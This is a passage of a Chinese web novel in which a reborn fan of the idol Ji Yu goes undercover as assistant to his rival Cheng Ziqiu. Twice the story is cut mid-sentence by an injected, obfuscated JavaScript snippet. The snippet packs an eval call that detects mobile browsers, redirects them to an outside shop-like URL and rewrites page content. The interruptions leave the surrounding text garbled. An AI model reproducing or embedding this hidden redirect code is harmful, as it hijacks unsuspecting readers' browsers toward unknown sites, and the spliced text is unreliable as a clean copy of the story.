她每次看到,都忍不住翻白眼,有一次还是在工位摸鱼的时候,翻白眼被领导看到了,导致自己被阴阳了两句。 什么破碎感男神,这是矫情!这是人设!她撇撇嘴。 然而,当她把目光真正落在那张脸上时,林定又不得不承认,这副皮囊确实得天独厚。 不同于纪屿的那种清冷疏离,自带距离感的俊美,成子秋的好看,则是另外一种路数。 他的肤色是常年不见阳光般的冷白,没什么血色。唇色也淡,显得有几分病弱。睫毛长得有些过分,看人时眼波如水,天然纯粹,带着一种脆弱的朦胧感。他的下颌线条清晰,却并不锋利,脖颈修长,整个人站在那里,像一株被精心养在温室里的名贵植物,美丽却易折。 仿佛一阵稍大的风,就能将他吹散。 都是装的!林定立刻咬牙切齿地想。这副样子,底下不知道藏着多少争抢算计呢!一想到前世,他的粉丝是如何拉踩纪屿,他又是如何抢夺资源的,那股火气又噌噌地往上冒,盯着成子秋的眼神也不自觉地带上了情绪。 或许是她的目光太过直白了,正与身边人低语的成子秋似有所感,抬眼朝她的方向望来。 视线在空中撞车。 林定意识到自己失态了。她现在可不是能随意释放喜乐哀怒的粉丝,而是来一个求职者,别给他留下不好的印象……她低下头,目光放空。 她在脑海里调取“纪屿帅照PPT”进行循环播放,想用自家偶像的光芒强行净化杂念,可不知不觉间竟又想起那日来。 悲伤涌上心头,几个深呼吸后,再抬头时,脸上已挂起了前世应付难缠领导时修炼出来的,标准又得体的职场微笑。 此时,长桌最右边一位看起来颇为和善的面试官站起身,笑着对候选人们说:“大家今天运气不错,成子秋老师亲自过来看看。” 话音落下,周围的候选人们纷纷起身,脸上堆满了热情的笑容,向成子秋问好。 林定也随大流站了起来。 她在对自己说,就把对面那位当成即将对接的、需要小心应付的领导。于是,她学着其他人的样子,朝成子秋的方向微微欠身,脸上是非常礼貌的微笑,动作标准。 只是垂下眼的瞬间,那笑意未达眼底。 一位面试官扬了扬手中的评分表,对陪同成子秋进来的那位戴眼镜的中年男士说:“我们这边的问题基本结束了,你们看看还有什么想问的吗?” 眼镜男侧身,非常自然地将话语权递给了成子秋,语气客气:“成子秋老师,您看呢?毕竟要跟着您工作。” 成子秋似乎没料到会被要求提问,好看的眼睛微微睁大,流露出些许讶异。他眨了眨眼,,随即陷入了短暂的思索。片刻后,他抬起眼,目光温和地扫过面前的候选人们,声音悦耳,问题却出人意料地十分具体。 “假设在综艺录制期间,你需要为我准备一个随身的应急包。除了证件、纸巾这类必需品之外,如果只允许你额外添加两样东西,你会选择什么?以及,为什么是这两样?” 问题一抛出,林定心里不禁挑了挑眉。 果然不是个好应付的人。 这问题看似随意,实则却不简单,考验的是助理的细心程度、对艺人工作场景的理解,以及是否能在常规思维之外,提供真正有价值的考量。 面试官示意从最左边的女孩开始回答。 “我会放充电宝和便携化妆品,”第一个女孩声音清脆,“确保您的手机随时有电,您就可以随时在线接受紧急信息,形象也能随时保持完美。” 一位女性面试官忍不住笑了,语气还算温和:“同学,充电宝可以考虑。不过化妆这件事,成子秋老师有专业的化妆师团队跟着,倒不用助理费心啦。” 那女孩的脸瞬间红透,后面几位候选人也跟着紧张起来。 第二位是个男生,明显被前面的插曲影响了,说话有些磕绊:“我、我会准备小风扇和暖宝宝!这样天气热,或者是棚里空调太冷,您都能舒服些。” 他的回答中规中矩,几位面试官点了点头,成子秋也保持着倾听的姿态,脸上是无可挑剔的礼貌微笑。 第三位候选人显然做了功课,语气带着些小得意:“我会带一本老师喜欢的书,还有一支笔。我知道老师很喜欢阅读,闲暇时可以用来放松,做做笔记之类的。” 一位面试官笑着接话:“嗯,看来你对成子秋老师的喜好有提前了解。” 林定在一旁默默听着,心里却不以为然。阅读?多半又是公司包装的文艺人设罢了,本人搞不好翻两页就犯困。 很快,就轮到了她。 她略微停顿,像是在认真思考,然后才开口道:“我会放一盒润喉薄荷糖,还有一副降噪耳塞。” 说话时,她下意识地看向成子秋,却发现他也正注视着自己。 那目光沉静,很专注。 林定心里那点抵触又冒了出来,她不太自然地移开视线,继续解释道:“保护嗓子对歌手和需要长时间说话的工作都很重要。至于降噪耳塞,”她顿了顿,“并非只是为了在嘈杂环境中休息或是睡觉。更关键的是,在片场、后台那种持续高强度、充满各种吵杂干扰的环境里,它能给成老师提供一个随时自主选择的静音开关,帮助老师快速沉淀情绪。隔绝外界的噪音,哪怕只有几分钟,也是一种挺有效的心理缓冲。” 她这个答案,其实源于前世的观察和自身原因。媒体曾总结过成子秋和纪屿的少数“共同点”,其中之一就是两人在 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令她没想到的是,这公司效率高得出奇。 就在面试结束,她前往与晓春约好的餐厅路上,手机便“叮”的一声,收到了新邮件提醒。 这么快就有结果了? 不成功的话她是继续在这找实习,还是回G市呢…… 林定有些忐忑地点开。 “林定同学,您好!我们诚挚地祝贺您,您已成功通过我司暑期实习助理的终面考核,欢迎加入欣喜娱乐的大家庭……” 屏幕上的字迹,清晰地映入眼帘。 林定站在人来人往的街头,彻彻底底地呼出了一口气,悬着的心,终于稳稳落地。 第一步,总算踏进来了。 林定在拥挤的地铁上,周围的人声、车流声仿佛都瞬间褪去。她看着那行“欢迎加入欣喜娱乐的大家庭”,嘴角牵起了一个含义复杂的弧度。 纪屿,你看。 承载了你梦想的世界,我终于还是踏进来了。 地铁的冷气拂过她额前的碎发,带来了一丝夏日的凉意。心底那点如愿以偿的轻松很快就被更沉重的情绪覆盖了。 只不过,不能站在他身侧为他摇旗呐喊,也不是一个能与他并肩的朋友。 而是,站在了他的对面,未来的对家侧。或许,未来还会被卷入那些针对纪屿的明争暗斗之中。 这个认知让她心口有些难受,但并不后悔。这条路,是她自己选的,她会潜入阴影里,不断提升自己,做一双替他警惕四方的眼睛,做一把能提前斩断暗箭的利刃。 她收起手机,目光望向地铁的线路图,仿佛能穿透这些密密麻麻的线路,看到这一世未来的变数。 我会用我自己的方式,默默守护你。 林定的指尖,轻轻摸了摸屏幕上“欣喜娱乐”那几个字。 地铁的开门声,将她拉回现实。 林定深吸一口气,将所有的情绪压回了心底,迈开步子,朝着与闺蜜约定的方向走去。 脚步坚定。 33.33 卧底入职 暴雨在早晨毫无预兆地倾盆而下。林定和晓春撑着伞,努力避开地面上的水坑跑向地铁站,但也还是湿了裤脚和后背。早高峰的地铁站,是十年如一日的限流盛况,黑压压的人群缓慢移动,空气闷热又潮湿。两人在换乘的通道口匆匆道别,一个向城北,一个向城南。 虽然是盛夏,但被雨水打湿的衣物贴着皮肤,再被地铁里的冷气一吹,寒意便渗进了骨头里。林定打了个喷嚏,在拥挤的车厢中努力维持平衡站稳,感受着这久违的属于社畜的通勤狼狈与疲惫。 走出地铁,雨还在下。她抬头望向那座在雨幕中依光鲜亮丽的写字楼,深吸一口气,走了进去。 欣喜娱乐的入职流程和她以前的公司差不多。当HR将那张有着她照片和名字的工牌递过来时,这熟悉的塑料触感让林定的手指微微顿了一下。 想起前世,她曾满心欢喜地接过那互联网大厂的工牌,本以为是一份很美好的工作,可却让她耗尽心力,以至最后,她将那工牌狠狠地甩了出去。轻微的生理性厌恶涌上心头,她将它握紧,不似其他实习生一样心急地挂在脖子上,而是放进了口袋里。 HR姐姐很温柔,她领着林定去办理后续手续,并在走廊上轻声告诉她:“你的实习岗位分配结果出来了,运气不错哦,是成子秋老师的团队。” “真的吗?那也太好了!” 林定脱口而出,眼睛瞬间亮了起来。 这是天在帮她吧。一种计划达成的喜悦,绽放了在她脸上,冲散了之前的郁闷。 恰在此时,走廊另一端,成子秋在一行人的陪同下正朝这边走来。他脚步未停,目光却被远处的灿烂笑容所吸引。 是什么这么高兴呢。 这念头一起,他又立刻为自己这突如其来的多管闲事而摇摇头。 前两天,他经纪人把实习生助理安排的结果给他时,他是有一些惊讶的。 公司是头一次,顺了他的意。 * 林定并未察觉到刚才的目光。她跟着HR来到成子秋团队所在的项目办公室。推门进去时,成子秋已经坐在里面的沙发上,正低头看着手机。听到动静,他抬起头。 “成老师,这位就是新来的实习助理,林定。” HR小姐姐介绍道。 林定强迫自己把厌恶压下去,礼貌的笑了笑,浅浅问好。 “成老师好,我是林定。” 成子秋放下手机,站起身。他今天穿了一件简单的白色衬衫,衬得肤色愈发冷白。他看了林定一眼,眼睛里情绪很淡,只是轻轻点了点头:“你好,林定。接下来两个月辛苦了。” 他的声音温和,可林定听上去,就觉得他是在装。 他没有多问什么,哪怕心里对这张在婚礼上和超市收货区都有过短暂交集的面孔存有无限的好奇。 “具体的工作内容和注意事项,娟姐会带你。她是我正式的助理。” 正说着,一个看起来三十岁出头、面容和善的孕妇姐姐笑着走了过来:“林定是吧?欢迎欢迎!来来,你的工位在这儿。” “娟姐好。”林定跟着她走出来。 “我们成老师出道起,就是我跟着了,他没有找过其他助理,你还是第一个呢。不过你也知道的吧,你这是暑期实习……招这个岗位呢,其实是因为我下礼拜要去生宝宝啦,”娟姐指了指自己的肚子,对她笑了笑,“实习虽然没办法转正,但是你也要用心尽责做好这份工作。” 原来如此。 林定一边跟着娟姐走向靠窗的一个临时工位,一边在心里冷静地思考。 正职助理休产假,找廉价实习生顶上,典型的降本增效,现代职场通用法则……她对此并无意外,甚至有种看透了的漠然。 娟姐人很热情,耐心地跟她讲解日常工作流程:行程核对、物料整理、通告跟随、简单的对外沟通……最后,她从抽屉里拿出一本不算太厚、但装订整齐的册子,递给了林定,压低了点声音: “这个,拿好,别弄丢啦。这本成老师喜好手册,算是咱们团队的必修课。老师喜欢什么、讨厌什么、生活习惯、工作习惯、甚至一些小怪癖……都在上面了。尽快背熟哦!” 林定接过了那本册子,封面上手写着“成子秋相关备忘”。 她掂了掂重量,心里有些复杂。 “谢谢娟姐,我会尽快熟悉的。”她扬起一个乖巧的笑容,将手册放在桌上最显眼的位置。 “成子秋老师是个很好的人,他在这么多实习生里选了你,你不要辜负他。” 林定一愣,疑惑道:“他选了我?” “这个手册今天内背熟,明天我抽查哦。” 窗外的雨不知何时已经停了,阳光从云层缝隙透过来,照进写字楼的玻璃窗里。林定坐在新的工位上,手边放着需要背诵的手册。她抬起头,目光扫过办公室里忙碌的景象,最终落在那扇紧闭的、属于成子秋的独立休息间的门上。 她还以为是随机分配的,可没想到…… 也许,真的是她走运了吧。 * 那本手册,对林定而言,背诵起来其实挺简单的。前一世作为纪屿的资深粉丝,同时也是个成熟的对家观察员了,成子秋那些所谓的人设,她早已倒背如流。不过,手册里记载的诸多细致、刁钻的个人习惯,仍让她忍不住挑眉。 比如…… 和成子秋说话时,需保持至少一米五的距离,避免气息或是飞沫冒犯到他。?冰美式,冰块必须占杯体的三分之一,多一粒少一粒都不行。?还有发微信不要连着发几条…… 呃,还没加上呢。 林定快速翻阅,内心一直在锐评。这哪里是什么喜好手册啊,分明就是一份商品说明书。 显得,成子秋一点都不算有血有肉的真人。 * 午休时间刚到,娟姐便热情地过来招呼林定一起下楼去。 林定跟着下楼,心里还盘算着公司会不会有内部食堂。结果,娟姐却将她领进了公司隔壁一家装修极简,看起来价格不菲的轻食沙拉店。 “娟姐,我们……午餐都吃这么健康吗?”林定看着菜单上那些昂贵的菜叶子,感觉胃和钱包同时在隐隐作疼,她干巴巴地问。 “想多啦妹妹,这份是他的,我们得先给成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16901446|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子秋老师买好。”娟姐一边熟练地点单,一边解释,“咱们助理的工作啊,就是得先把老师的一切安排妥当,才能轮到自己的时间。” 原来如此。林定看着娟姐手里那份特意叮嘱了酱料分开、食材严格按备注准备的餐盒,脑子里飞快地计算起来。 午休时间说是一个半小时,可来回买饭送饭得耗去半小时吧……剩下的时间还能好好吃饭和睡午觉吗? 这卧底的日子,真是天崩开局。 “娟姐,”她试着提出优化建议,“其实我们可以直接给老师点这家店的外卖呀,专人配送,还能节省我们的来回时间,老师也能更快吃上呢。” 没想到,这个她自觉合理的提议,让娟姐的脸色瞬间严肃起来,她左右看了看,压低了声音:“千万别!成子秋老师不吃外卖的。” 矫情啊!林定在心底骂骂咧咧。 但娟姐接下来的话,却像一盆冰水,瞬间浇熄了她刚冒头的抱怨。 “以前是叫外卖的,可是吧……有人在送来的餐食里动了手脚,不止一次,放了很恶心的东西,还有恐吓信。”娟姐叹了口气,眼神里流露出后怕与无奈,“所以我们是不能给他点外卖的,你要记住了。艺人嘛,风光背后,都有些不得已的苦衷和风险。” 所有关于“矫情”、“难搞”的评判,瞬间卡在她喉咙里,化作了一阵闷闷的心塞感。 她想到了纪屿。 他在那些无人看见的角落,也许也经历过不少这些类似的恶意。那些他从来没有在镜头前表露过的恐慌与疲惫,也是这样被他自己无声地消化了吧。在粉丝面前,他永远是面带微笑的,努力给大家撑起一片晴朗的那个正能量艺人。 她沉默地跟着娟姐返回公司,将那份精致的午餐轻轻放在成子秋休息室的桌子上。 成子秋正靠在沙发上闭目养神。午睡的他,褪去了镜头前的雕琢,有种易碎般的纯净感。 真不愧是明星……林定移开目光。 成子秋闻声,睁开了眼,睡眼惺忪。他的目光先落在餐盒上,随即转向林定,在她身上只停留了一瞬,便看向娟姐。他的声音不高,听不出什么情绪:“你们吃过了吗?” “没有。”林定实话实说。 说完话,她的胳膊就被身旁的娟姐轻轻碰了一下。只见娟姐流畅地岔开话题:“成哥,下午两点,我们准时开会,初步过一遍这次综艺所有参赛选手的资料,做个竞争分析。” “好。”成子秋点了点头,又看似不经意的扫了林定一眼后,再次闭上了眼。 所有参赛选手的分析…… 林定跟着娟姐退出房间,轻轻带上了门。走廊的灯光冷白,照得她有些恍惚。那句“所有参赛选手”在她脑海里反复回响。 那意味着,下午的会议上,那个名字,那张脸……将作为“竞争对手”,被放在投影仪上吧。 她的星星,会被被挑剔地分析和讨论。 而她,必须坐在那里,听着,记着,不能流露出任何异样。 紧张和难受的荒谬感,涌进了她的情绪里。她深吸一口气,强迫自己跟上娟姐的步子。 34.34 卧底穿帮 草率的午饭后,林定便回到工位。或许是久违的上班节奏唤醒了身体深处的记忆,一股前世积攒下的,属于牛马的疲惫感沉沉袭来。明明早上也没做什么事,却觉得眼皮发沉,她趴在桌上,竟很快就睡着了。 * 下午的会议,她提前到了会议室,强忍着困意看娟姐熟练地调试投影和PPT。不久,成子秋和他的经纪人一起走了进来,以及两三个公司管理层。 平心而论,会议室里除了成子秋,在座的各位,包括林定自己,都带着深浅不一的班味。 成子秋像一道柔和却不容忽视的光,与他人有壁。 好吧,林定必须客观承认,他的确是养眼的。 不同于中午在休息室的那份毫无防备的安静睡颜,此刻走进会议室的成子秋,眼神清明,看不出丝毫午后的困倦,整个人已经切换到了工作状态里。简单的衬衫穿在他身上,带着一种随意却好看的慵懒感。以至于当他目光扫过会议室,短暂落在林定身上时,她竟下意识地先一步移开了视线。 会议开始,成子秋的经纪人主导分析。PPT一页页翻过,对每一位已有些名气的参赛者,经纪人都能分析其作品风格、市场定位、优缺点乃至可能的战术。林定一边记录,一边暗自佩服这份情报工作做得确实到位。 然而,当PPT翻到下一页,林定握着笔手指,微微地收紧了。 屏幕上是纪屿的官方照片。 少年面容俊美,眼神沉静,气质清冽。 然而,除了这张照片和基本信息,其余分析区域,竟是一片空白。 “这个人没有信息……?”成子秋微微偏头,看向经纪人,发出疑问。 经纪人推了推眼镜,语气带着轻慢:“一个新人。他是问鼎娱乐的练习生,不知什么原因不成团了,转而个人参加了这个节目。按往年……节目的门槛不低,都是有一定经验的参赛者。他能破格进来,想必是使了些力气的。”他顿了顿,做总结道,“资料太少了,实力未知。但他只是个新人,没作品,也没什么粉丝基础,暂时不足为虑……可能就是来混个脸熟,大概很快就被淘汰了。” 林定低着头,笔尖在本子上无意识地划着乱麻一样的线条。她感觉自己的脸有些发僵,必须极力控制,才能维持住脸上平静无波的表情。 心里是烧开的水。 或许是她过于沉默的状态,引起了经纪人的注意,他忽然将话题抛了过来,带着半开玩笑的口吻笑说:“小林还是学生,最了解现在年轻人的喜好了。你来说说看,现在大部分年轻人,是不是就喜欢这种……嗯,长得好看,但没什么内在的艺人?”他的话虽未明指是纪屿,但再明显不过。 一股火气窜上了她的头顶,理智强行拉住了她。 她抬起脸,扯出一个略显僵硬的笑,生硬地转移了矛头:“您指的是……他们公司前段时间出道的那位,戴无极的那种类型吗?那种风格,确实可能更偏向视觉系呢,挺多人喜欢他的。” 这个回答有些出乎意料,经纪人愣了一下,还没来得及回复,成子秋却忽然开口了。 “我倒不觉得可以小看这位新人哦。”他浅浅一笑,“能放弃成团机会,选择以个人身份来参加这种竞技类节目,要么是极度自信,要么是有……不得不证明的东西。通常这样的新人,潜力,反而很难预估了。” 林定蓦地抬起眼,看向成子秋。他脸上没什么特别的表情,只是平静地陈述着自己的判断。 “是个不能忽视的对手。” 这样的评价,像一颗石头投进了林定纷乱的心湖,激起了水花。 前世,成子秋也是如现在这样,很早就发现了纪屿的潜力了吗? 被认可虽然是好事,可一想到未来的种种黑通稿和抢资源,林定就咬紧了牙关。 她迅速垂下眼,掩去眸中一闪而过的复杂情绪。 会议持续了近两小时,在讨论战术时,一直坐在林定旁边的娟姐忽然脸色发白,捂着肚子,额角渗出细密的汗。 “娟姐,你怎么了?”林定有些慌乱地打断正在发言的经纪人,摸了摸娟姐的额头。 “抱歉……我、我好像有点不太舒服……” 经纪人和成子秋都看了过来。成子秋担忧地站起来:“要紧吗?要不要先休息?” “可能得去一下医院。”娟姐声音虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16901447|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱。 经纪人点头:“快去吧,身体要紧。剩下的会议纪要让小林先跟一下。” 娟姐匆匆离席,林定在经纪人示意下,接过了会议记录的任务,心里却有点没底。会议又进行了一小时才结束,偌大的会议室转眼只剩她一人整理资料。 就在这时,经纪人去而复返,脸色有些不好看:“小林,娟姐的老公刚来电话,情况有点急,直接住院备产了。接下来这段时间,得你顶上了,你多用心,好好跟着成子秋老师。” 林定脑子里“嗡”了一声,仿佛听到某个建筑物倒塌的声音。 天塌了。 这个形容毫不夸张…… 她才刚来一天,唯一能依靠的“师傅”就这么突然退场了…… 没有一点landing期…… 下午五点多,林定还在努力消化这个悲惨的事实,会议室门口来了一个陌生的面孔,传话说成子秋老师让她去一趟项目办公室。 她郁闷地敲开门。 成子秋坐在沙发上,正在看一份文件。 见她进来,抬起眼。“和娟姐交接得还好吗?”他问,语气如常。 林定按照职场话术作答:“娟姐带了我半天,基本流程和注意事项都告知了,我会尽快熟悉,确保工作跟得上。” 窗外的光线透过百叶窗,在他衬衫上落下了条纹。 成子秋点头,没立刻说话,只是那样看着她。 看什么看啊……林定的厌恶感又上来了,有一些嫌弃地皱了皱眉。 他微微向后靠向沙发上,那双总是带着几分朦胧感的眼睛,此刻却清晰了起来,仿佛能穿透她的一切伪装。 然后,他忽然开口,问了一个让林定瞬间血液冻结的问题。 “林……定,”他叫她的名字,声音平稳,听不出情绪,“你其实是今天会议上提到的那个,新人纪屿的粉丝吧?” 林定浑身一僵,手脚在刹那间变得冰凉。 他怎么知道?!我表现得那么明显吗?才第一天,就被发现了?! 巨大的恐慌夹杂着被看穿的无措,瞬间淹没了她,让她无法呼吸,更不知该如何回答。 35.35 飞溅 成子秋看着眼前女孩脸上瞬息万变的精彩表情,心底不由得划过一丝好笑。 她那双清亮的眼睛里,从隐隐浮现那抹熟悉的,带着点嫌弃的眼神,到现在的震惊和慌乱。 其实他只是基于会议上对她的那点细微的观察,随口一问罢了,没想到会把她吓成这副模样。 刚才开会的时候,当他的经纪人对那个叫作纪屿的新人给出不怎么样的评价时,这个新来的实习生虽然低着头,握着笔的指尖却绷紧了,嘴角也抿成了一条克制的直线。那绝不是无动于衷的样子。 自己也是挺可笑的,成子秋想,今天似乎过分关注这个新来的实习生了。或许是因为她那副和别人不一样的态度,和那耐人寻味的微表情,在他周围一片假惺惺的恭敬中显得格外有趣,才让他多留了几份心。 看她此时吓得原地僵化,成子秋觉得自己可能玩笑开过了。对一个刚入职的实习生来说,被当面质疑立场,确实有点残酷。他放缓了神色,轻轻一笑,那笑容很浅,却冲淡了好多林定心里的慌乱。 真不愧是靠脸吃饭的明星。 虽然他是成子秋…… 林定心下叹气,他的笑竟好看得让人有一刹那的晃神。 “我开玩笑的。”他声音温和了些,指了指自己对面的沙发,“不用这么紧张,坐吧。” 林定这才长长地吐出一口气,她急急摇头,把职场本能从意识里强行拽了回来:“不用了成子秋老师,我站着就好,您有什么事请吩咐。” 吓死人了!真的是玩笑吗? 她心有余悸,暗暗懊恼自己,肯定是开会的时候没控制好表情。 这个成子秋,果然让人喜欢不起来……他心思这么深沉,观察力还这么可怕。 上辈子讨厌他,这辈子大概只会更讨厌了。 长得再好看可能是他唯一的优点了。 她也气自己,好歹也是当过几年牛马的人,怎么这临场应变能力都丢光了? 成子秋只是又指了指沙发,语气平平:“坐着方便说话。有工作要交代你。” 林定再次摇头,这次她觉得理由挺充分的:“娟姐给的手册上写了,需要和您保持至少一米五的距离。我记得的,今日我认真背诵手册了。”她甚至还下意识地估算了一下自己此刻站的位置是否合规矩,“坐沙发上,距您太近了。” 成子秋闻言,明显愣了一下。他那双雾气般的眼眸里,极快地掠过一瞬复杂的情绪,像是无奈,又像是苦涩。那些手册上的条款和人设…… 他沉默了一瞬,才重新开口,跳过了这个话题:“本来明早是娟姐陪我去拍综艺的宣传照和初期物料,现在她住院了,可能需要你替她,跟我一起去。” “好的,老师。”林定应下,心里一万个不情愿,但脸上只能维持着敬业的平静。她入职第二天,就要独自面对完全陌生的工作……压力山大啊。 她那不经意的皱眉,又一次被成子秋捕捉到了。 他有些不解地微微侧头,想了想,还是问出了犹豫了很久,一直想问的另一个疑惑:“林定,你是不是不太喜欢我?” “啊?”林定没料到他会问得如此直接,尴尬地张了张嘴,想继续解释,却不知道说什么好,最后只能再次摇摇头,吐出三个字:“怎么会……” 成子秋见她这样,反而有些歉意似的低下了头,声音放轻了一些,用商量的口吻对她说道:“是我从终面名单里选了你的简历。如果你原本是冲着其他艺人助理岗位去的,可以告诉我。我可以试着帮你协调看看。” 他以为她是被迫分配,才如此抗拒。 这话让林定更惊慌了,生怕他真把自己调走,那她的计划可不就凉了吗?她顾不上组织完美的语言来回答了,脱口而出:“不是的!我就是奔着你来的!” 说完,也没意识到这话有些歧义,她太着急了。 奔着我来的?成子秋在心里默默重复了一遍,眉梢几不可察地动了一下,原本的疑惑被一丝惊讶取代了。他看着眼前这个总是让他感到意外的女孩,觉得事情好像更有趣了。 他忽然站起身,朝林定走了过来。林定下意识地后退了两步。 成子秋却只是在她面前一步的位置停住,伸出手,将手机屏幕转向她,上面是他的微信二维码。 “加一下。”他的语气恢复了自然。 林定松了口气,连忙拿出手机扫码添加。 办公室里响起了轻微的扫码提示音。 “有驾照吗?”成子秋收起手机,又问。 “有……啊不是,还没有考。”林定咬咬唇,这才想起,前世她是这个暑假才去考的驾照,如今来实习了,倒是把考驾照的事情给忘了。 成子秋沉默地看了她一眼,随即道:“那你今天先回去吧。” “啊?”林定又被他这跳跃的指令弄懵了,难道是觉得她连车都不会开,太没用,要辞退她吗? “明早七点半,按我发你的地址,到我家楼下等我。”成子秋道,语气像是在话家常,他又往前一步,想把灯开多一盏,但他这突然的靠近,让林定感到一阵不适,她立刻后退了一小步,手肘不慎碰倒了门边装饰架上的摄影集,“哗啦”地一声,册子掉在地上发出了巨大的声响。 她无奈地蹲下来,捡起散落的几本册子,一边应道:“好的,明白。” 成子秋看着她手忙脚乱的样子,眼底的探究更浓了一些,但他没再说什么,只是补充了一句:“实习生加班没有工资的。我今天晚上也没有其他工作,你早点下班吧。” 林定再次愣住,有些难以置信地抬起头,眨了眨眼。 居然……不让她第一天加班熟悉业务? 在她前世的职场认知里,加班是常态。可今日……这简直是不可思议的仁慈啊。 她站起来,把册子放好归位,然后瞥了一眼成子秋那张依旧没什么表情却挺好看的脸。 这个人……好像,也并不是糟透了。可这个念头只是冒了一下头,很快又被她固有的偏见给强行压了回去。 “谢谢成子秋老师,那我先下班了。明天我会准时到的。” 她的声音听起来镇定又专业,然后微微欠了欠身,便退出了成子秋的休息室。 门轻轻关上。成子秋站在原地,目光落在门边那几本被碰倒又扶好的摄影集上,挑了挑眉。 而门外的林定,快步走向电梯。 她看了下手机,上面成子秋给她发来了一个地址。 这豪宅区与她和晓春一起租的房子相隔甚远…… 明天七点半到……那她要几点起床…… 她以前在互联网公司可是十点才上班的啊!!! 还要去那家伙家楼下等…… 这卧底的日子是真不好过,但明天是不是有概率能见到纪屿呢? 一想到这个,她又开心了起来。 * 林定被闹钟吵醒时,窗外天色还未大亮。 隔壁床的邓晓春还睡得香,发出均匀的呼吸声。昨晚晓春到家时已近十二点了,带回来了一身疲惫和满腔牢骚。 原来那问鼎娱乐,不只是压榨明星,对人力部门的实习生也尽情压榨,晓春才第一天上班,就被各种琐碎的录入整理工作压的喘不过气来。 这样对比下来,林定虽然心绪复杂,但至少……第一天她那所谓的“上司”没有让她拼死拼活的加班。 可第一天心态不崩,第二天也是要崩的。 准时抵达成子秋所住的高档住宅楼下时,浓郁困倦让林定忍不住打了个哈欠,她感觉她的精气神全靠手里那杯咖啡拯救。 她也有按手册里的标准,给成子秋买了一杯美式。 她正犹豫着要不要发信息呢,就看到一楼大厅那扇玻璃门声滑开,成子秋走了出来。 林定朝他望去,微微一怔。 与她印象中,镜头前、工作场合那个精致的形象不同,此时此刻的成子秋是彻彻底底的素颜。他穿着一件简单的黑色T恤,下身是运动裤,整个人透着一股慵懒随意。 没有了粉底的修饰,他的皮肤在阳光下还是干净的冷白色,若说有什么瑕疵,那就是双眼下极淡的一抹青痕。没有妆感的他,五官的线条反而显得更清晰了,少年感扑面而来。 这家伙,不靠化妆也这样么。 “成老师早。”她收敛心神,上前一步,将手里的咖啡递给他。 成子秋接过咖啡,指尖碰到了冰凉的杯壁。他看了林定一眼,眼神还是困意的朦胧,只淡淡地“嗯”了一声:“司机在地库了,跟我来。” 林定赶紧跟上。 走进大堂,穿过需要刷脸的门,再进入专属电梯直抵地下车库,她才后知后觉地明白,为什么那家伙要她等在门口。这小区门禁严得很,若非成子秋来带她,她连电梯都进不去,更别说进车库了。 他们上了一辆黑色的商务车。驾驶座上是一位看起来五十多岁的大叔。见他们走来,大叔下车来,目光先落在成子秋身上,随即又好奇地打量了一下林定,笑呵呵地问:“老板,这就是接娟姐工作的实习生小林吗?” 成子秋点了点头,没多说话,拉开车门便坐进了后排,闭上眼准备补眠。 那司机大叔示意林定上车,上车后他就打开了话匣子,也不管老板是否 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成子秋没再看他,视线转向同时回头看向他的林定,看着女孩懵懵的表情,他的语气恢复了平淡:“找时间去物业录个人脸和指纹,以后方便些。” “好的,成老师。”林定嘴上连忙应下,心里却暗自苦笑,以她前世的牛马经验,权限越多责任越大,当一个新权限的开放,往往意味着任务增加且自己要随时待命,并不是件值得高兴的事。 车子在早高峰的车流中行驶了近一个多小时,才抵达B市郊区的拍摄地点。林定按成子秋简单的指示,拿起他的随身物品包,在工作人员的指引下与他一起走向指定的化妆间。 走廊里人来人往,大概是他现在已有了些名气,不少人与他恭敬地打招呼,林定只觉得空气中有种奇怪的陌生感。 走到化妆间虚掩的门前,林定伸手推开。 门后光线明亮,一个身形挺拔的人似乎刚结束妆发,正准备离开。 两个人的目光,猝不及防地在空中撞了个正着。 林定只觉得脑子砰的一声,有些窒息,又有一些眼酸。 是纪屿。 他看起来像是到了很久了,或许化妆师不是以前的那位,他的妆感风格和之前不同,眉眼十分清晰,肤色干净,眼神多了份清澈,感觉比起之前,少了一些距离感。他眼睛里的惊讶,与她相同。 这巨大的冲击,让林定手一颤抖,她提在手里的两杯咖啡,砸向地面。 “小心。” 林定错乱之间,一只有力的手将她猛地向后一拉,她踉跄着跌入一个带着淡香的怀抱,避开了大部分飞溅的咖啡,只有裤脚不幸地沾上了几滴污渍。 成子秋确认她站稳后,便松开了手。 他的目光带着一丝不悦和审视,望向那个女孩的惊吓来源。 化妆间门后的那个人,让他感到有些眼熟。 那人气质出众,绝不是普通工作人员。 * 纪屿在门开的瞬间就认出了林定,心脏莫名其妙地漏跳了一拍。 他没想到会在这里,见到她,更没想到,下一秒她就失手打翻饮料,然后,被另一个男人护在怀里。 而那个男人竟然是…… 成子秋? 前世关于这个明星的一些模糊印象掠过脑海。他们接触不多,但却总是被拿来作比较。 在当时的经纪人的口中,成子秋还截胡过不少他的商务和综艺。 纪屿淡淡地扫了一眼成子秋,并未表露对圈内前辈的客气。他的视线越过成子秋的脸,落在了惊魂未定的林定身上,他缓缓吸了一口气,声音有一点紧绷: “你怎么在这里?” 这句问话是对林定说的,但成子秋却误以为是纪屿对他说的。他眉头微微发紧,眼神里的不悦加重了几分,语气也带上了明显的冷意: “你是谁?” 气氛降至冰点。 